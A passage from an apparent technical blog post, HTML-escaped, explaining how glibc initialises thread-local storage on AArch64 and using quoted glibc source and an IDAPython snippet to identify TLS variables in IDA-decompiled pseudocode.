&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* 2211 *&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;     for&lt;&#x2F;span&gt;&lt;span&gt; the TLS blocks has its final values and we can copy them&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* 2212 *&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;     into the main thread&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;s TLS area, which we allocated above.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2213 *&#x2F;     Note: thread-local variables must only be accessed after completing&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2214 *&#x2F;     the next step.  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2215 *&#x2F;  _dl_allocate_tls_init (tcbp);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2216 *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2217 *&#x2F;  &#x2F;* And finally install it for the main thread.  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2218 *&#x2F;  if (! tls_init_tp_called)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2219 *&#x2F;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2220 *&#x2F;      const char *lossage = TLS_INIT_TP (tcbp);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2221 *&#x2F;      if (__glibc_unlikely (lossage != NULL))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2222 *&#x2F;    _dl_fatal_printf (&amp;quot;cannot set up thread-local storage: %s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2223 *&#x2F;              lossage);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2224 *&#x2F;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&#x2F;* 2225 *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The load procedure is nearly same, and pretty simple, so I think you might want to read it yourself. Generally, it will:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Check if &lt;code&gt;.tls&lt;&#x2F;code&gt; segment exists;&lt;&#x2F;li&gt;
&lt;li&gt;Set up the TCB block using &lt;code&gt;sbrk&lt;&#x2F;code&gt; (why not malloc? read code and you will know)&lt;&#x2F;li&gt;
&lt;li&gt;Initialize the &lt;code&gt;dtv&lt;&#x2F;code&gt; data and install its pointer&lt;&#x2F;li&gt;
&lt;li&gt;Write the pointer using &lt;code&gt;TLS_INIT_TP&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Update the linkmap&lt;&#x2F;li&gt;
&lt;li&gt;Load other TLS vars (actually, static TLS vars)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;You can also read &lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;codemacro.com&#x2F;2014&#x2F;10&#x2F;07&#x2F;pthread-tls-bug&#x2F;&quot;&gt;this&lt;&#x2F;a&gt; article to know more about TLS.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;and-what-it-is-accessing&quot;&gt;And what it is accessing?&lt;&#x2F;h2&gt;
&lt;p&gt;So far we have know what is what is thread register and TLS. However, how they are associated with current programs?&lt;&#x2F;p&gt;
&lt;p&gt;Let&#x27;s see some code related with them. Following pseudocode also came from the same program as above:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  v1 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; _ReadStatusReg&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;ARM64_SYSREG&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 13&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;&#x2F;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  v3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= *&lt;&#x2F;span&gt;&lt;span&gt;(_QWORD &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(v1 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  v4 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= *&lt;&#x2F;span&gt;&lt;span&gt;(_QWORD &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(_QWORD &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(v1 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 72&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1568&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;LL&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;  *&lt;&#x2F;span&gt;&lt;span&gt;(_QWORD &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)v3 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= *&lt;&#x2F;span&gt;&lt;span&gt;(_QWORD &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(_QWORD &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(v1 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 72&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1560&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;LL&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;&#x2F;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Here although we know &lt;code&gt;v1&lt;&#x2F;code&gt; is related with TLS, we still don&#x27;t know what is &lt;code&gt;v3&lt;&#x2F;code&gt; and &lt;code&gt;v4&lt;&#x2F;code&gt;. Let&#x27;s check &lt;code&gt;glibc&#x2F;csu&#x2F;libc-tls.c:__libc_setup_tls(void):168&lt;&#x2F;code&gt; &lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; :&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;* Initialize the TLS block.  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_TCB_AT_TP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  _dl_static_dtv[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;].pointer.val &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; ((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;) tlsblock &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; tcb_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;                   -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; roundup&lt;&#x2F;span&gt;&lt;span&gt; (memsz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; align &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;?:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  main_map&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;l_tls_offset &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; roundup&lt;&#x2F;span&gt;&lt;span&gt; (memsz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; align &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;?:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#elif&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_DTV_AT_TP&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  _dl_static_dtv[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;].pointer.val &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;) tlsblock &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt; tcb_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  main_map&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;l_tls_offset &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; tcb_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;# error&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Either TLS_TCB_AT_TP or TLS_DTV_AT_TP must be defined&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#endif&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  _dl_static_dtv[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;].pointer.to_free &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;* sbrk gives us zero&amp;#39;d memory, so we don&amp;#39;t need to clear the remainder.  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  memcpy&lt;&#x2F;span&gt;&lt;span&gt; (_dl_static_dtv[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;].pointer.val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; initimage&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; filesz)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So you can notice something called &lt;code&gt;initimage&lt;&#x2F;code&gt; is copied into the new memory space we have allocated for TLS. And in line &lt;code&gt;117&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;* Look through the TLS segment if there is any.  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (_dl_phdr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;!=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; NULL&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  for&lt;&#x2F;span&gt;&lt;span&gt; (phdr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; _dl_phdr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; phdr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt; &amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;_dl_phdr[_dl_phnum]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ++&lt;&#x2F;span&gt;&lt;span&gt;phdr)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (phdr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;p_type &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span&gt; PT_TLS)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    &#x2F;* Remember the values we need.  *&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    memsz &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; phdr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;p_memsz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    filesz &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; phdr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;p_filesz&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    initimage &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;) phdr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;p_vaddr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;    &#x2F;&#x2F;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    break&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So it seems the &lt;code&gt;memcpy&lt;&#x2F;code&gt; will simply copy all data in &lt;code&gt;.tls&lt;&#x2F;code&gt; segment to our memory area. And let&#x27;s find out what is &lt;code&gt;v1+40&lt;&#x2F;code&gt; in IDA. First we need to know what is in the thread pointer register, &lt;code&gt;DTV&lt;&#x2F;code&gt; or &lt;code&gt;TCB&lt;&#x2F;code&gt;. Check &lt;code&gt;glibc&#x2F;sysdeps&#x2F;aarch64&#x2F;nptl&#x2F;tls.h:40&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;# define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_DTV_AT_TP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;# define&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; TLS_TCB_AT_TP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So it is &lt;code&gt;DTV&lt;&#x2F;code&gt;. According to the code above, we can know after initalized, the value of &lt;code&gt;tpidr_el0+16&lt;&#x2F;code&gt; is equal to &lt;code&gt;tlsblock&lt;&#x2F;code&gt;, and the content of it is &lt;em&gt;nearly&lt;&#x2F;em&gt; identical&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#2&quot;&gt;2&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; from &lt;code&gt;.tls&lt;&#x2F;code&gt; segment in ELF image. So we can go directly to that address using IDAPython:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Type of v3 is &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(ida_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;demangle_name&lt;&#x2F;span&gt;&lt;span&gt;(ida_name&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_ea_name&lt;&#x2F;span&gt;&lt;span&gt;(ida_segment&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_segm_by_name&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;.tls&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;start_ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;# Type of v3 is ClassMemberA*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now everything seems fine.&lt;&#x2F;p&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;&#x2F;sup&gt;
